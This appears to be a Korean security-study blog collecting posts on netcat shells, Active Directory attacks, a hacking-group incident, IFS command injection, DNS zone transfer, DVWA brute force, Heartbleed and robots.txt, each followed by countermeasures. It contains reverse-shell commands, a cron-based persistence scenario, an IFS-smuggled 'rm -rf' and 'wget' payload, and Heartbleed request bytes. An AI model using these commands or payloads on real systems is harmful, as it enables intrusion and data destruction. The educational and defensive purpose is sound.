꼰머의 보안공부

1. Netcat (nc)

- TCP 또는 UDP를 사용하여 네트워크 연결을 읽거나 기록하는 컴퓨터 네트워킹 유틸리티

- UNIX의 cat과 유사하며, cat 명령으로 파일을 읽거나 쓰듯이 NC는 Network Connection에 읽거나 씀

- 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에서도 자주 사용

1.1 주요 옵션

1.2 바인드쉘

- 일반적인 연결 상태로, 클라이언트가 서버에 접속

- 서버: nc -lnvp 1234 -e /bin/bash
- 클라이언트: nc <서버 IP> 1234

1.3 리버스쉘

- 바인드쉘과 반대로 서버가 클라이언트에 접속, -e 옵션에 의해 클라이언트에서 작업이 수행됨

> 예시의 경우 클라이언트의 /bin/bash가 실행

> 공격자의 PC가 서버가되고, 피해자의 PC가 클라이언트가 되어 명령을 실행

- 서버: nc -lnvp 1234
- 클라이언트: nc <서버 IP> 1234 -e /bin/bash

- 일반적으로 방화벽은 네트워크 최상단에 설치되어 외부에서 내부로 들어오는 연결을 차단

> 반대로 내부에서 외부로 나가는 연결에 대해서는 상대적으로 허용하는 경우가 많음

> 이를 이용해 공격자는 공격 PC를 서버로 동작시킨 뒤, 피해 PC에서 명령 실행 및 공격 PC로 접근해 쉘을 획득

- 일반적인 리버스쉘 시나리오는 다음과 같음

① 공격자는 내부 네트워크에 침입한 후 무차별대입공격으로 root 계정 탈취

② 반복적인 침입을 위해 root 계정을 이용해 root 권한을 가지는 일반 사용자 계정 생성

③ netcat 프로그램을 이용한 리버스쉘 연결 작업을 cron table에 등록(/etc/crontab)

④ 공격자는 주기적으로 shell을 획득해 추가 명령 수행

2. -e 옵션

- 앞서 살펴보았듯이 -e 옵션은 연결을 생성한 후 실행할 명령 등의 작업을 지정함

- 침해 상황을 가정해 nc를 통해 리버스쉘 연결을 시도한 결과 -e 옵션이 유효하지 않다고 확인됨

- 구글링을 해보니 비활성화된 (또는 지원하지 않는) 버전의 nc를 사용한 결과라고 함

> 따라서, -e 옵션을 지원하는 nc 버전 (netcat-traditional)을 설치하고, 해당 버전으로 설정해야 함

# sudo apt-get install -y netcat-traditional
# sudo update-alternatives --config nc

- 두 번째 명령 실행 결과를 확인해보면 현재 /bin/nc.openbsd 버전을 사용하고 있는 것으로 확인 됨

> 설치한 netcat-traditional (nc.traditional)으로 변경

- 변경 후 -e 옵션을 실행하면 정상적으로 리버스쉘이 생성됨

1. AD (Active Directory)

- 계정 정보와 컴퓨터에 대한 정보, 회사에서 강제하고자 하는 정책들(비밀번호 정책, 화면 보호기 설정 등)에 대한 정보를 저장하고 있는 일종의 데이터베이스

- 중앙에서 서버, 사용자 등 시스템 전반에 접근이 가능하므로, 공격자들의 주요 공격 목표가 되며, AD 계정과 접근권한 탈취 시 전체 내부망이 장악당할 수 있음

2. 공격유형

2.1 DCSync [2][3]

- 일반적으로 AD 환경에는 여러 DC가 포함되며, 각각의 DC는 사용자 자격 증명 업데이트와 같은 변경 사항의 상호 업데이트를 통해 동기화 유지

- 도메인 복제 권한을 보유한 특정 계정의 액세스 권한을 획득한 공격자가 DC를 가장해 정상적인 DC와 동기화를 수행

- Mimikatz의 기능 중 하나

- 정상적인 AD 통신을 악용한 공격으로 탐지 및 조치가 쉽지 않으며, 엄격한 계정 관리가 필요

2.2 DCShadow [4][5]

- 공격자가 탈취한 계정을 이용해 AD에 악성 도메인 컨트롤러를 등록하는 공격

- Mimikatz의 기능 중 하나

- 정상적인 AD 통신을 악용한 공격으로 탐지 및 조치가 쉽지 않으며, 엄격한 계정 관리가 필요

2.3 Password spray [6][7]

- AD 내 계정을 대상으로 계정당 하나의 암호를 대입하는 공격

- 계정당 암호를 한 번만 대입하기에, 무차별 대입 공격과 차이를 가지며 계정 잠금을 유발하지 않음

- 계정 설정 시 강력한 암호 정책 적용 및 비밀번호 재사용 금지 등의 정책 적용

2.4 Pass-the-Hash [8][9]

- Hash 된 비밀번호를 이용하는 방법으로, 공격자는 비밀번호 자체를 몰라도 접속 인증을 통과할 수 있음

- 특정 계정의 비밀번호 Hash를 획득한 후 새로운 세션을 만들어 획득한 Hash를 이용해 접속

- 공격자 시스템의 메모리 영역(ex. LSASS_사용자 인증을 위해 사용하는 프로세스)에 Hash를 미리 로드한 후, 서버에 접속

- 관리자 권한의 사용자 수 제한, 권한 분리, 최소 권한 부여 등의 정책 적용

2.5 Pass-the-Ticket  [10]

- 최근 AD 환경은 티켓 기반 인증 프로토콜인 Kerberos 인증을 사용

- 공격자는 Mimikatz 등으로 탈취한 Kerberos Ticket을 사용해 AD인증 시도

- 관리자 및 서비스 계정에 강력한 암호 적용, 유출된 암호 제거 등 적용

2.6 Golden ticket [11]

- 공격자가 TGT(Ticket Granting Ticket)를 KDC를 통하지 않고 만들어내는 액티브 디렉토리 지속성 공격

- 도메인 어드민이나 KRBTGT(KDC 서비스 계정) 유저를 장악한 뒤 진행

- AD의 기본 인증 프로토콜인 커버로스 인증은 ‘KRBTGT 암호 해시로 암호화된 모든 TGT는 정상적인 TGT’라는 전제로 구축

- KRBTGT 비밀번호 주기적 변경 등 적용

2.7 Service Principal Name (SPN) [12]

- SPN(Service Principal Name)은 Active Directory의 서비스 인스턴스에 대한 특수 식별자

- 커버로스는 기본적으로 어떤 도메인 유저던 간에 SPN 특성이 존재하는 서비스 유저를 상대로 한 Service Ticket을 TGS(Ticket Granting Service)를 통해 요청하고 받음

- 해당 티켓은 서비스 유저의 NTLM 해시로 암호화되어 있음

- KRB_TGS_REPTGS를 받아 서비스 티켓을 추출한 뒤, 이를 메모리상에서 빼내서 오프라인 브루트 포스 공격을 감행해 TGS가 복호화가 된다면 서비스 유저의 비밀번호를 찾아내는 공격

- 불필요한 커버로스 티켓 요청 등 모니터링, 사용자 비밀번호 변경 등 적용

2.8 AdminCount [13]

- AdminCount는 Active Directory 속성 중 하나로 <NOT SET>을 기본값으로 가지나 Domain Admins와 같은 보호된 그룹에 사용자가 추가될 경우 값이 1로 업데이트

- 공격자는 해당 값을 모니터링하여 관리 권한이 있는 개체를 식별

- 강력한 암호 사용, AdminCount 1 설정된 계정 모니터링 등 적용

2.9 AdminSDHolder [14][15]

- AdminSDHolder 개체에는 고유의 ACL이 있으며, 이 ACL은 보호된 그룹의 권한을 제어하는데 사용

- SDProp(Security Descriptor Propagation) 프로세스를 악용

- SDProp이란 60분마다 실행되어 AdminSDHolder 개체의 ACL을 AdminCount 특성이 "1"로 설정된 모든 사용자 및 그룹에 복사

- 공격자는 취약한 관리자 계정을 탈취해 일반 계정의 AdminCount를 1로 설정한 후 SDProp를 사용해 ACL을 덮어씀

- 강력한 암호 사용, AdminCount 1 설정된 계정 모니터링 등 적용

3. 참고

[1] https://www.bleepingcomputer.com/news/security/the-attacks-that-can-target-your-windows-active-directory/
[2] https://www.xn--hy1b43d247a.com/credential-access/dcsync
[3] https://blog.netwrix.com/2021/11/30/what-is-dcsync-an-introduction/
[4] https://www.dcshadow.com/
[5] https://blog.netwrix.com/2022/09/28/dcshadow_attack/
[6] https://m.blog.naver.com/quest_kor/221653929403
[7] https://www.xn--hy1b43d247a.com/credential-access/password-spraying
[8] https://blog.naver.com/aepkoreanet/221443237165
[9] https://www.beyondtrust.com/resources/glossary/pass-the-hash-pth-attack
[10] https://www.netwrix.com/pass_the_ticket.html
[11] https://toad.co.kr/it/?idx=13330621&bmode=view
[12] https://www.xn--hy1b43d247a.com/credential-access/kerberos/kerberoasting
[13] https://blog.netwrix.com/2022/09/30/admincount_attribute/
[14] https://www.netwrix.com/adminsdholder_modification_ad_persistence.html
[15] https://www.itgeared.com/ad-permissions-resetting-review-of/

1. 개요 [1]

- 2023.01 중국 해킹 그룹 샤오치잉은 한국을 겨냥한 메시지와 함께 해킹 진행

- 샤오치잉은 Deface Attack 및 내부 자료를 탈취해 텔레그램에 공개

1.1 Deface Attack [2]

- 화면 변조 공격

- 웹 사이트의 첫 화면인 홈페이지를 공격자 임의로 변경하는 공격으로, 해킹 사실을 알리기 위한 목적을 지님

- 주로 정치적 목적이나 해킹 실력 과시용으로 활용되었으나, 공격자가 웹 사이트의 권한을 획득한 것이기 때문에 정보 유출 등의 추가 피해 발생 가능

2. 타임라인

3. 공격 기법

- 1월에는 SQL Injection, 외부에 노출된 계정정보를 사용해 침투 후 내부 정보 유출

- 2월에는 WebLogic 취약점을 악용해 웹 페이지만 변조

3.1 취약점 스캔

- 샤오치잉은 웹 사이트를 대상으로 취약점 스캔(sqlmap, Nuclei)을 수행해 공격 대상 선정

① sqlmap [3]

> SQL Injection을 탐지하여 데이터베이스 서버 침투 프로세스를 자동화한 오픈 소스 침투 테스트 도구

> User-Agent 헤더에 sqlmap이 명시되나, 옵션을 통해 변경이 가능함

② nuclei

> YAML 템플릿을 기반으로 공격 대상 스캔을 수행하는 취약점 점검 도구

> 공격시 sftp.json(서버 IP, 계정정보 등 SFTP 서버 설정 정보가 저장된 파일) 관련 YAML 탬플릿을 사용한 것으로 판단됨

YAML [5]
- 타 시스템 간에 데이터를 주고받을 때 약속된 포맷(규칙)이 정의되어있는 또 하나의 파일 형식
- 인간 중심으로 작성되어 가독성이 높음

3.2 내부 침투

- 스캔 결과 취약한 설정 및 WAS 취약점을 악용해 내부 침투

① SQL Injection

② 계정 설정 파일 접근

> 관리자의 설정 실수로 계정정보나 민감정보가 외부에서 접근 가능하도록 설정된 경우가 더러 있음

> sftp.json은 개발환경과 웹 서버 동기화를 위한 SFTP 계정 정보를 저장한 파일로, 해당 파일이 웹 서버에 업로드된 서버를 악용

③ 취약한 버전의 WebLogic 악용

> Oracle에서 배포하는 WAS인 WebLogic의 오래된 버전의 취약점을 악용

> 샤오치잉이 텔레그램에 공개한 자료 중 WebLogic과 관련된 도구가 포함

3.3 피해 발생

① 내부 정부 탈취

> "3.2 내부 침투"을 악용하면, 서버 내부 자료에 접근이 가능

> 내부 정보에 직접 접근하거나, 웹쉘 또는 백도어 등을 업로드해 내부 정보 탈취

② Deface Attack

> 해킹 사실을 알리기위해 웹페이지를 메인페이지와 교체하거나 추가 업로드

③ 자료 삭제

> 특정 기업의 경우 서버에 있는 DB를 탈취한 후 삭제 진행

3.4 자료 공개

- 해킹 사실 입증을 위해 탈취한 정보 공개 및 웹페이지 변조

4. 대응방안

① SQL Injection 공격 대응을 위해 다음 방안 준수

> 웹 서버 시큐어 코딩

> 웹 서버 공격을 방어하기 위한 WAF 도입

> 입력값 검증, 저장 프로시저 사용 등 공격자의 Query가 DB에 영향을 미치지 않도록 조치

> 최소 권한으로 DB 운영, 에러 메시지 노출 차단 등

② 계정 관리

> 서버 내 계정정보 업로드 여부 점검

③ OS, S/W 등 최신 버전 업그레이드

④ 중요 자료 백업

⑤ 모니터링 강화, 웹 로그 점검, WebLogic의 경우 로그 저장 기간 연장

⑥ KISA 보안공지와 같은 OSINT 활용

5. 참고

[1] https://kisa-irteam.notion.site/09d3e4c83a784380acc3b36271a1f58a
[2] https://www.boannews.com/media/view.asp?idx=113709
[3] https://sqlmap.org/
[4] https://github.com/projectdiscovery/nuclei
[5] https://inpa.tistory.com/entry/YAML-%F0%9F%93%9A-yaml-%EA%B0%9C%EB%85%90-%EB%AC%B8%EB%B2%95-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0-%F0%9F%92%AF-%EC%B4%9D%EC%A0%95%EB%A6%AC
[6] https://ggonmerr.tistory.com/177

1. IFS(Internal Field Separator) String 

- 외부프로그램을 실행할 때 입력되는 문자열을 나눌 때 기준이 되는 문자를 정의하는 환경 변수

- 디폴트 값은 공백/탭/개행 문자 (space, tab, new line)

- IFS를 쉘 스크립트로 테스트해보면, 공백을 기준으로 문자를 나누어짐

- IFS를 다른 값으로 바꾸어 테스트 시 [사진 2] 처럼 하나의 문자열로 출력됨

※ 문자열을 apple:key:seoul:korea처럼 바꾸면 정상적으로 구분될 것

IFS는 환경변수
> 어느 한 쉘 스크립트에서 IFS값을 바꿀 경우 다른 쉘 스크립트에서 오작동이 일어날 수 있음
> 따라서 만일 IFS을 바꿔서 사용할 일이 있으면, 반드시 마지막에 다시 초기 IFS값으로 롤백해야 하는 로직을 추가해야 함

- 만약 아래와 같은 문자열이 포함된 요청을 수신할 경우 ${IFS} 문자열이 공백으로 치환되 임의 명령 수행이 가능해짐

/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}

1. Zone Transfer

- Master DNS 서버와 Slave DNS 서버 간 Zone 파일을 동기화하기 위한 프로토콜

- Slave 서버는 Master 서버에 접속하여 Zone 파일을 비교 및 최신화

- Zone Transfer는 TCP 이용

DNS Zone
- 도메인 관리하는 단위를 영역(Zone)이라 함
- 하나의 DNS 서버가 책임이나 권한을 가지는 영역을 의미

2. 실습

DNS  서버
- Domain : test.com
- OS : CentOS7 64bit
- IP : 192.168.56.114

Client 1
- IP : 192.168.56.112

Client 2
- IP : 192.168.56.102

- DNS 서버 구축

※ 아래 두 사이트를 참고하여 구축

- DNS 서버의 Zone 파일 (/etc/named.rfc1912.zones)을 확인해보면, allow-transer {any;};로 설정

- 그 결과, 누구나 Zone Transer 수행 가능

- 다음 명령으로 Zone Transfer 수행

dig @192.168.56.114 axfr test.com

① axfr : 존 버전에 상관없이 무조건 존 전송 요청
② ixfr : 존 버전을 비교하여 상위 버전일 경우 존 전송 요청

- 위 명령 수행 결과 Zone 파일 노출

- 와이어샤크를 통한 패킷 확인

3. 대응

① DNS를 Master/Slave로 운영하지 않는다면, Zone Tranfer를 사용하지 않도록 설정

- DNS 서버의 Zone 파일 (/etc/named.rfc1912.zones)에 allow-transfer 옵션을 수정 

- Client 1과 2에서 Zone Transfer 수행 결과 Transfer failed 출력

- 와이어샤크를 통한 패킷 확인

② Zone Transfer를 운영해야 할 경우 Slave를 특정하여 운영

- DNS 서버의 Zone 파일 (/etc/named.rfc1912.zones)에 allow-transfer 옵션을 수정 

- Client 1만 Zone Transfer가 가능하도록 설정변경

- Client 1과 2에서 Zone Transfer 수행 결과 차이를 통해 비교

1. Brute Force Attack

- 무작위 대입 공격

- 인증 정보를 알아내기 위해 공격자가 반복적으로, 체계적으로 매번 다른 계정과 비밀번호를 입력하는 공격

- 자동화된 툴이나 스크립트를 사용해 인증 정보를 회득할 때 까지 가능한 모든 조합을 대입

- 일반적으로 하나의 계정에 다수의 비밀번호 대입

- OWASP Top 10 2017에서 A2. 취약한 인증으로 제시되었으며, 2021에서는 A7.Identification and Authentication Failures로 제시됨

1.1 공격 원리

- 조합 가능한 모든 문자열을 순차적으로 하나씩 모두 대입

1.2 공격 기법

2. 공격 실습

2.1 Brute Force

- 버프 슈트 실행 및 Username과 Password 입력 후 로그인 시도

- 버프 슈트에 의해 캡쳐된 패킷을 Intruder로 보냄(Intruder : 사용자가 정의한 자동화 공격을 수행하기 위한 도구)

- Intruder 탭 Position(페이로드 구성 설정)에서 [사진 5]와 같이 §로 감싸진 부분이 페이로드이며, password 페이로드만을 §로 감싸줌 (Clear§>password 페이로드 선택>add§)

- password 값만 변경하면서 지속적으로 대입

- 그 후 Payloads(페이로드 환경 설정)에서 Payload Sets, Payload Options 값을 설정한 후 Start attack으로 공격 시작

- [사진 6]에서 설정한 옵션에 따라 무작위 대입 공격이 수행

- DVWA에서는 로그인 성공과 실패 시 페이지 내용이 상이하므로 응답 크기(Length)가 다른 것이 공격에 성공한 요청

2.2 Dictionary Attack

- Payloads(페이로드 환경 설정)에서 Payload Sets, Payload Options 값을 설정한 후 Start attack으로 공격 시작

- Payload Options은 Load로 파일을 불러올 수 있으며, Add로 직접 입력할 수도 있음

- 비밀번호가 password일 경우 Length 값이 다르게 나타나며, Response 확인 시 admin으로 로그인에 성공한 것을 확인 가능

- 따라서, admin 계정의 비밀번호는 password임을 알 수 있음

3. DVWA의 Brute Force Attack 대응

3.1 Low 단계

- Brute Force Attack에 대한 대응이 설정 되어있지 않음

3.2 Medium 단계

- 로그인 실패 시 2초간 시간 지연을 설정되어 있으나, 매우 짧은 시간임

- 자동화된 Brute Force Attack의 시간을 지연시켜 공격의 속도를 더디게 만들기 위함

3.3 High 단계

- 로그인 실패 시 0~3초의 랜덤한 시간 지연을 설정되어 있으나, 매우 짧은 시간임

- 자동화된 Brute Force Attack의 시간을 지연시켜 공격의 속도를 더디게 만들기 위함

3.4 Impossible 단계

- 로그인 실패와 관련된 변수를 선언

- 다수 로그인 실패(3회)시 계정을 잠금 설정(15분간)

- 로그인 실패 시 출력되는 메시지

4. 대응방안

- [사진 ]에서 확인되는것 처럼 password, 123456 등 간단하며 유추하기 쉬운 비밀번호가 다수 사용됨

- Brute Force Attack에 대응방안은 [사진 16]과 같음

1. OpenSSL

- 네트워크를 통한 데이터 통신에 쓰이는 프로토콜인 TLS와 SSL의 오픈 소스 암호화 라이브러리
- C 언어로 작성되어 있는 중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어 있음

2. HeartBleed

- 클라이언트와 서버는 계속 신호를 주고 받으며 연결상태를 확인하는데 이를 "하트비트(Heartbeat)"라 함

하트비트(Heartbeat)란?
1. 일종의 Echo Request/Echo Reply처럼 서버의 기동 여부를 진단하기 위한 프로토콜
2. 특정 Echo Request를 보내고, 반환 받을 크기를 지정하면 해당 크기만큼 Echo Reply 응답

- '하트비트' 과정 중, 서버가 클라이언트의 요청에 응답할 때 정상적인 응답내용 외 추가정보(중요정보)를 포함한 응답이 전송되어 정보가 노출될 수 있어 HeartBleed로 불림
- 서버가 클라이언트로부터 전달받은 정보의 내용과 그 정보의 길이의 일치 여부를 검증하지 않은 채 응답하여 발생

HeartBleed란?
1. 반환 받을 크기 지정 시 보낸 메세지보다 훨씬 크게 지정(최대 64KB)하여 보낼 수 있는 취약점이 존재
2. 1KB를 보내면서 64KB를 요청 할 경우 나머지 63KB는 메모리에 있는 임의 데이터가 보내짐
3. 위와 같은 동작을 반복하면 메모리상에 흐르는 임의 데이터를 지속적으로 탈취할 수 있음

- 당시 발표에 따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 영향을 받을 수 있었음

3. CVE-2014-0160

- 취약한 버전의 OpenSSL은 공격자의 조작된 요청에 의해 메모리에서 중요한 정보를 얻을 수 있음.

취약한 버전 : OpenSSL 1.0.1 ~ 1.0.1f
원인 : Heartbeat Extension 패킷을 제대로 처리하지 못하여 원격 공격자가 버퍼 오버 읽기를 유발
영향 : 조작된 패킷을 통해 프로세스 메모리에서 중요한 정보를 얻을 수 있음

- [캡쳐 2] 과정을 다음에 비유할 수 있음

1. 엘리스(클라이언트)는 밥(서버)에게 봉투에 100원을 넣고, 1000원이 들었다는 정보와 함께 전송
2. 밥(서버)은 100원을 확인하고, 나머지 900원을 합하여 엘리스(클라이언트)에 응답
3. 엘리스(클라이언트)에게 900원에 해당하는 정보가 유출 됨

4. 실습

4.1) PoC 분석

- PoC는 먼저 서버와 TLS를 이용한 보안 연결을 맺는 것부터 시작하며, 보안 연결이 설정된 이후 s.send(hb) 함수를 통해 Heartbeet 요청을 전송

// 첫 필드는 TLS 레코드가 하트비트임을 명시하고 TLS버전을 알림
18 : TLS record is a heartbeat
03 02 : TLS version 1.1

// 다음으로 하트비트 메시지의 길이와 이 메시지가 하트비트 요청임을 명시
00 03 : Length
01 : Heartbeat request

// 공격의 핵심
// payload길이를 16,384바이트로 표시하고 있지만 그 만큼의 길이에 해당하는 메시지를 보내지 않음
// 16진수로 4000은 16384
40 00 : Payload length(16384bytes)

4.2) 취약점 코드

- 취약한 소스코드를 확인해 보면 사용자 요청 메시지에 대한 길이를 검사하지 않는 것을 확인할 수 있음

4.3) 취약점 실습

- 비박스에서 Heartbleed 취약점을 실습해 볼 수 있으며, HTTPS와 8443포트로 접속해야 함

- 로그인 후 공격 스크립트를 실행시키면 Heartbeat 응답 메세지를 확인할 수 있음.

* 스크립트를 실행하면 결과가 길어 확인이 불편하므로, more 명령으로 내용 확인

- Heartbeet 응답값을 확인하면 로그인정보와 쿠키값이 노출된 것을 볼 수 있으며, 이외에도 추가 정보 유출이 가능함

* 추가정보 : SSL 서버 비밀키, 세션키 등 / 노출되는 정보는 서비스 환경마다 다름

- 해당 패킷을 와이어샤크로 확인하면 [캡쳐 6]과 같음

5. 대응방안

1. 시스템 측면 방안
- 최신 업데이트를 적용
- 사용자 요청 메시지에 대한 길이를 검사하도록 코드 추가

- 업데이트 적용이 어려울 경우 버전 확인 및 Heartbeat 프로토콜 비활성화

1. Open SSL 버전 확인 명령
openssl version -a
2. Open SSL Heartbeat 활성화 여부 확인 명령
// Heartbeat 기능이 활성화되어 있는 경우 heartbeat 문자열이 검색됨
openssl s_client -connect domain.com:443 -tlsextdebug -debug -state | grep -i heartbeat

2. 네트워크 측면 방안
- SSL 서비스 포트에 대해 공격 요청 시 전송되는 |18 03 ??| 탐지 패턴 적용

alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 00|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "SSLv3 Malicious Heartbleed Request V2”; sid: 1;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 01|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1 Malicious Heartbleed Request V2"; sid: 2;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 02|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1.1 Malicious Heartbleed Request V2"; sid: 3;)

03 00은 SSLv3.0 / 03 01은 TLSv1.0 / 03 02는 TLSv1.1

3. 서비스 관리 측 방안
- 서버 측 SSL 비밀키(Secret Key)가 유출되었을 가능성을 배제할 수 없기 때문에 인증서 재발급 검토
- 취약점에 대한 조치가 완료된 후 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정을 악용한 추가 피해를 방지하는 방안 고려

6. 참조

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884
https://heartbleed.com/
https://jmoon.co.kr/164

1. robots.txt

- 로봇배제표준(robots exclusion protocol)

- 웹 사이트에 웹 크롤러와 같은 로봇들의 접근을 제어하기 위한 규약으로, 루트디렉토리에 위치

- 크롤러란 조직적, 자동화된 방법으로 웹을 탐색하는 컴퓨터 프로그램

2. 작성 양식

- 해당 파일은 [캡쳐 1]에서도 볼 수 있듯이 User-agent, Disallow, Allow로 이루어져 있음.

User-agent : robots.txt 파일의 규칙을 적용할 로봇의 이름
Disallow : 차단할 URL 경로
Allow : 허용할 URL 경로

- Disallow, Allow 항목을 적절히 잘 조합하여 사용.

2.1) 작성예시

모든 로봇 허용

User-agent: *
Disallow:

모든 로봇 금지

User-agent: *
Disallow: /

3. 관점

3.1) 해커 관점

- 민감한 정보를 저장하고 있는 페이지에 대해 웹 크롤러가 접근하지 못하도록 Disallow에 해당 URL 설정 

- robots.txt에 접근한 해커들은 Disallow에 설정된 URL에 민감정보가 저장되어 있을 것이라 추측 및 관련된 공격 시도 가능

3.2) 보안 관점

- 해커들이 해당 파일을 통해 정보를 획득할 수 있으므로 일부 취약점 스캐너에 포함되어 있는 경우도 있음

- 누구나 접근할 수 있으므로, 적절한 접근제어 조치를 취하여야 함